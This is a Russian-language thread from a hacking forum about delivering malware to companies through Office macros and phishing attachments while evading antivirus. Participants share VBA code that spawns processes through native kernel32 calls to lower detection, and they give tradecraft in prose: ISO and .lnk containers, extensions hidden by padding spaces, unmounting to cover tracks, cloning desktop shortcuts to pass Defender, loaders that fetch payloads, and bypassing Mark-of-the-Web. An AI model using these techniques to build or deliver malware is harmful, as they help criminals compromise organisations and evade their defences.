• XSS.stack #1 – первый литературный журнал от юзеров форума

Живы ли еще макросы?

13memtinker37

HDD-drive
Пользователь
Регистрация
26.03.2024
Сообщения
23
Реакции
2
Наткнулся на способ доставки малвари через макросы. Дошло до того, что даже обычную ехе без payload моментально удаляет. Поэтому задался вопросом, есть ли сейчас смысл юзать макросы? Или может какие методы почитать что бы спрятать полезную нагрузку от АВ
 
Поддержу вопрос похожим вопросом, что бы не флудить темы:

Хочу научиться целевому фишингу, в основном именно под доставку зловреда в конторы. Хотел бы узнать какие варианты доставки зловреда вообще рабочие сейчас?
 
что посоветуете использовать что бы скрыть их от аверов?
нормальный код недетектируется, если хочешь использовать Shell.Application боюсь, тебе ничего не поможет, используй малоизвестные COM обьекты или натив вызовы такие как user32, kernel32, ntapi https://avcheck.net/id/Fbete1xGHdsI
Код:
Option Explicit

Private Type STARTUPINFO
    cb As Long
    lpReserved As LongPtr
    lpDesktop As LongPtr
    lpTitle As LongPtr
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As LongPtr
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessID As Long
    dwThreadID As Long
End Type

Private Declare PtrSafe Function CreateProcessW Lib "kernel32" ( _
    ByVal lpApplicationName As LongPtr, _
    ByVal lpCommandLine As LongPtr, _
    ByVal lpProcessAttributes As LongPtr, _
    ByVal lpThreadAttributes As LongPtr, _
    ByVal bInheritHandles As Boolean, _
    ByVal dwCreationFlags As Long, _
    ByVal lpEnvironment As LongPtr, _
    ByVal lpCurrentDirectory As LongPtr, _
    ByRef lpStartupInfo As STARTUPINFO, _
    ByRef lpProcessInformation As PROCESS_INFORMATION) As Long

Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
    ByVal hObject As LongPtr) As Long

Private Declare PtrSafe Function GetLastError Lib "kernel32" () As Long


Sub RunNotepad()
    Dim si As STARTUPINFO
    Dim pi As PROCESS_INFORMATION

    si.cb = Len(si)
    si.dwFlags = 0
    si.wShowWindow = 1

    Dim lpCommandLine As String
    lpCommandLine = "notepad.exe"
 
    If CreateProcessW(0, StrPtr(lpCommandLine), 0, 0, False, 0, 0, 0, si, pi) Then
        Call CloseHandle(pi.hProcess)
        Call CloseHandle(pi.hThread)
    Else
        
    End If
End Sub
 
Из рабочего: файлы .lnk в архивах, либо вместо архива отправлять iso, его не детектит АВ, а даже если начнет палить, то будет пустое уведомление угрозы, файл он не сможет удалить. Единственное, не забудь добавить скрипт размонтирования виртуального диска, чтобы замести следы. Для маскировки добавь математических пробелов штук 10, чтобы угнать расширение iso за пределы поля проводника
 
нормальный код недетектируется, если хочешь использовать Shell.Application боюсь, тебе ничего не поможет, используй малоизвестные COM обьекты или натив вызовы такие как user32, kernel32, ntapi https://avcheck.net/id/Fbete1xGHdsI
Код:
Option Explicit

Private Type STARTUPINFO
    cb As Long
    lpReserved As LongPtr
    lpDesktop As LongPtr
    lpTitle As LongPtr
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As LongPtr
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessID As Long
    dwThreadID As Long
End Type

Private Declare PtrSafe Function CreateProcessW Lib "kernel32" ( _
    ByVal lpApplicationName As LongPtr, _
    ByVal lpCommandLine As LongPtr, _
    ByVal lpProcessAttributes As LongPtr, _
    ByVal lpThreadAttributes As LongPtr, _
    ByVal bInheritHandles As Boolean, _
    ByVal dwCreationFlags As Long, _
    ByVal lpEnvironment As LongPtr, _
    ByVal lpCurrentDirectory As LongPtr, _
    ByRef lpStartupInfo As STARTUPINFO, _
    ByRef lpProcessInformation As PROCESS_INFORMATION) As Long

Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
    ByVal hObject As LongPtr) As Long

Private Declare PtrSafe Function GetLastError Lib "kernel32" () As Long


Sub RunNotepad()
    Dim si As STARTUPINFO
    Dim pi As PROCESS_INFORMATION

    si.cb = Len(si)
    si.dwFlags = 0
    si.wShowWindow = 1

    Dim lpCommandLine As String
    lpCommandLine = "notepad.exe"
 
    If CreateProcessW(0, StrPtr(lpCommandLine), 0, 0, False, 0, 0, 0, si, pi) Then
        Call CloseHandle(pi.hProcess)
        Call CloseHandle(pi.hThread)
    Else
       
    End If
End Sub
а конструкции Auto_open, Workbook_open и тд есть еще смысл использовать?
 
Из рабочего: файлы .lnk в архивах, либо вместо архива отправлять iso, его не детектит АВ, а даже если начнет палить, то будет пустое уведомление угрозы, файл он не сможет удалить. Единственное, не забудь добавить скрипт размонтирования виртуального диска, чтобы замести следы. Для маскировки добавь математических пробелов штук 10, чтобы угнать расширение iso за пределы поля проводника
как показывает практика если lnk запускает cmd или powershell - палит моментально
 
Скрытый контент для зарегистрированных пользователей.
Макросы сейчас можно легко скачать из браузеров, но запустить макрос из панели браузера можно только файл ps1 его не блокирует Firefox и Chrome.

Я думаю стоит использовать конструкцию лоадера, скачать уже нужный файл с сервера и запустить
 
Последнее редактирование:
Скрытое содержимое
Я думаю стоит использовать конструкцию лоадера, скачать уже нужный файл с сервера и запустить
тут уже нужно байпасить motw
 
как показывает практика если lnk запускает cmd или powershell - палит моментально
На самом деле, если ты создаешь копию существующего .lnk с рабочего стола и потом ее правишь, то она сохраняет метуху исходного, на крайней обнове 10 и 11 дефендер пока проходит
 
Стоит отметить, что файлы ярлыка довольно опасное расширение, каждый год находят серьёзные уязвимости, по типу RCE-LNK и не зря браузеры переименовывают этот тип файлы. Сейчас без клика файлы lnk точно можно украсть SMB хэш ,но кому он нужен.
RCE LNK
Да и много других можно найти.
На Firefox, есть способ скачать файл LNK, но только с флагом Сохранить как.
 
нормальный код недетектируется, если хочешь использовать Shell.Application боюсь, тебе ничего не поможет, используй малоизвестные COM обьекты или натив вызовы такие как user32, kernel32, ntapi https://avcheck.net/id/Fbete1xGHdsI
Код:
Option Explicit

Private Type STARTUPINFO
    cb As Long
    lpReserved As LongPtr
    lpDesktop As LongPtr
    lpTitle As LongPtr
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As LongPtr
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessID As Long
    dwThreadID As Long
End Type

Private Declare PtrSafe Function CreateProcessW Lib "kernel32" ( _
    ByVal lpApplicationName As LongPtr, _
    ByVal lpCommandLine As LongPtr, _
    ByVal lpProcessAttributes As LongPtr, _
    ByVal lpThreadAttributes As LongPtr, _
    ByVal bInheritHandles As Boolean, _
    ByVal dwCreationFlags As Long, _
    ByVal lpEnvironment As LongPtr, _
    ByVal lpCurrentDirectory As LongPtr, _
    ByRef lpStartupInfo As STARTUPINFO, _
    ByRef lpProcessInformation As PROCESS_INFORMATION) As Long

Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
    ByVal hObject As LongPtr) As Long

Private Declare PtrSafe Function GetLastError Lib "kernel32" () As Long


Sub RunNotepad()
    Dim si As STARTUPINFO
    Dim pi As PROCESS_INFORMATION

    si.cb = Len(si)
    si.dwFlags = 0
    si.wShowWindow = 1

    Dim lpCommandLine As String
    lpCommandLine = "notepad.exe"
 
    If CreateProcessW(0, StrPtr(lpCommandLine), 0, 0, False, 0, 0, 0, si, pi) Then
        Call CloseHandle(pi.hProcess)
        Call CloseHandle(pi.hThread)
    Else
       
    End If
End Sub
Спасибо друг) просто снизил детекты х2 пушка
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх